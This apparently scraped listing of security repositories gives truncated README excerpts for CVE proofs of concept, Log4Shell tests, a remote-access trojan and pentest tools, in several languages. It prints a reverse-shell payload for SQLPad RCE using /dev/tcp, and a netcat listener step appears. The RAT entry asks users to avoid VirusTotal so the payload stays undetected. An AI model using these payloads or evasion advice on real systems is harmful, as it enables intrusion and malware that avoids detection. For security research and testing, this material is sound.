CVE-2022-0944

CVE-2022-0944 PoC SQLPad における RCE の PoC です。 この例ではリバースシェルを起動しますが、ペイロード内の 'exec' 呼び出しのコマンドを変更することで、利用可能な任意のコマンドを実行するようにペイロードを変更できます。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 必要条件 Python 3 使用方法 1. リスナーを起動する...

distributed-system-testing

分散システムテストスキル 分散システムおよびステートフルシステム向けに、クレーム駆動のテストを設計・実行するAIコーディングエージェントのための2つのスキル。 この2つを組み合わせることで、構造化されたMarkdownテスト計画と、10状態の判定結果およびSUT/ハーネス/チェッカー/環境の明示的な責務分類を備えた調査レポートを生成します。レビュー担当者はこの2つの成果物を読んでリリース可否を判断します。その他の再実行は不要です。 Claude Code、Codex、Copilot...

bugtest

bugtest CVE-2025-43529 테스트...

jndi-ldap-test-server

jndi-ldap-test-server 이것은 Java 애플리케이션에서 JNDI+LDAP 인젝션 공격, 특히 CVE-2021-44228에 대한 취약성을 테스트하기 위한 최소한의 LDAP 서버입니다. CVE-2021-44228 취약성 테스트 방법 1. 플랫폼에 맞는 테스트 서버 바이너리를 다운로드합니다 모든 바이너리는 Releases에서 확인 가능. 2. 테스트하려는 애플리케이션에서 접근 가능한 IP 주소에서 테스트 서버를 실행합니다. 서버를 애플리케이션과 동일한 호스트localhost에서 실행할 수 있다면 가장 간편합니다. 3...

RATel

RATel Пожалуйста, не загружайте на virustotal! Чтобы RATel не был обнаружен антивирусом, пожалуйста, не загружайте полезную нагрузку на TOTAL VIRUS. Каждый месяц я буду самостоятельно проверять, обнаруживается ли полезная нагрузка антивирусом. Таким образом, у вас будет ежемесячное доказательство...

CVE-2024-3656

Keycloak 24.0.5는 Broken Access Control 취약점에 취약하며, 공격자는 인증된 사용자를 이용하여 다음과 같은 몇 가지 API 작업을 수행할 수 있습니다: testLDAPConnection 엔드포인트를 통해 LDAP 연결 테스트 getUnmanagedAttributes 엔드포인트를 통해 모든 사용자의 관리되지 않은 속성 검색 getProviders 엔드포인트를 통해 클라이언트 등록 정책 공급자 접근 그중에서도 공격자가 외부 호스트와 LDAP 상호작용을 할 수 있는 testLDAPConnection 에만...

CVE-2023-33107

작성 글 https://keto0422.github.io/2026/02/11/cve-writeup/ 테스트 영상 https://github.com/user-attachments/assets/1e2d1757-2fff-4cf8-a48d-bb6e2d4f5994...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell 익스플로잇 익스플로잇 테스트 google.com에 ping을 실행합니다 모든 명령 실행 가능 OS 이름, 버전 및 아키텍처를 출력합니다 OS 및 사용자에 대한 세부 정보 수집 원격 머신에서 계산기를 엽니다 모든 실행 파일 실행 가능 이 README.md를 github에서 다운로드합니다 ExploitTest 실행 root@kitploit: java ExploitTest 샘플 log4shell 링크 https://log4shell.huntress.com/...

pentest-guide

OWASP + Extra 기반 침투 테스트 가이드 이 가이드는 침투 테스트 프로젝트 중 필요한 적절한 테스트 케이스를 찾는 침투 테스터를 위한 것입니다. 저는 OWASP Testing Guide v4를 제 관점에서 재구성하여 9개의 테스트 클래스를 포함시켰으며, 각 클래스는 대상에 대해 수행할 여러 테스트 케이스를 가지고 있습니다. 각 테스트 케이스는 보고서 문서에도 유용한 여러 OWASP 테스트를 포함합니다. 또한 EXTRA-TEST로 표시된 15개의 추가 테스트 케이스를 추가했습니다. 침투 테스트 프로젝트와 버그 바운티 모...

CVE-2023-36025

CVE-2023-36025 CVE-2023-36025에 대한 간단한 테스트로, https://twitter.com/wdormann/status/1725148437115473947 에서 시연된 PoC를 기반으로 합니다. 이 코드는 기본 설정 그대로 실행되도록 만들어진 것이 아닙니다. ZIP 파일은 사용자가 소유한 서버에 호스팅되어야 하며, file:// URL을 통해 피해자 머신에서 접근할 수 있어야 합니다...

CVE-2017-12542

CVE-2017-12542 CVE-2017-12542 테스트 및 익스플로잇...

Integer-Overflow-test

В этом репозитории нет README...

CVE-2017-1000117_wasawasa

Test repository to check Git's vulnerability CVE-2017-1000117 어떻게 작동하나요? 이 저장소를 재귀적으로 클론하세요. root@kitploit: $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git 원본 greymd/CVE-2017-1000117...

WindowsProtocolTestSuites

Windows Protocol Test Suites Windows Protocol Test Suites provide interoperability testing against the implementation of Windows open specifications including File Services, Identity Management, Remote Desktop and etc. Originally developed for in-house testing of the Microsoft Open Specifications...

vuln_spring_log4j2

vulnspringlog4j2 log4j2CVE-2021-44228 테스트를 위한 취약한 Spring 애플리케이션 Java 버전: 1.8 Spring Boot 버전: 2.4.0 Spring Core 버전: 5.3.1 Log4j 버전: 2.13.3 Burp 로그...

CVE-2022-42889

CVE-2022-42889 테스트 애플리케이션 이 저장소는 CVE-2022-42889에 취약한 Apache Commons Text 1.10을 사용하는 간단한 애플리케이션을 포함합니다. 애플리케이션 실행 DemoApplication.java의 nc 명령을 호스트 IP 주소로 바꾸세요. netcat으로 수신 대기: root@kitploit: $ nc -l -p 30000 취약한 도커 코드 빌드 및 실행 root@kitploit: docker build . -t vulnerable-app docker run vulnerable-ap...

CyberStrike

English | 简体中文 | 繁體中文 | 한국어 | Deutsch | Español | Français | Italiano | Dansk | 日本語 | Polski | Русский | Bosanski | العربية | Norsk | Português Brasil | ไทย | Türkçe | Українська | বাংলা | Ελληνικά | Tiếng Việt | हिन्दी Первый open-source AI-агент, созданный для наступательной безопасности...

CVE-2024-23208-test

В этом репозитории нет README...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149에 대한 테스트 PoC...

sqlancer

SQLancer — это инструмент для автоматического тестирования систем управления базами данных СУБД с целью поиска ошибок в их реализации. То есть он находит баги в коде реализации СУБД, а не в запросах, написанных пользователем. SQLancer обнаружил сотни ошибок в зрелых и широко известных СУБД...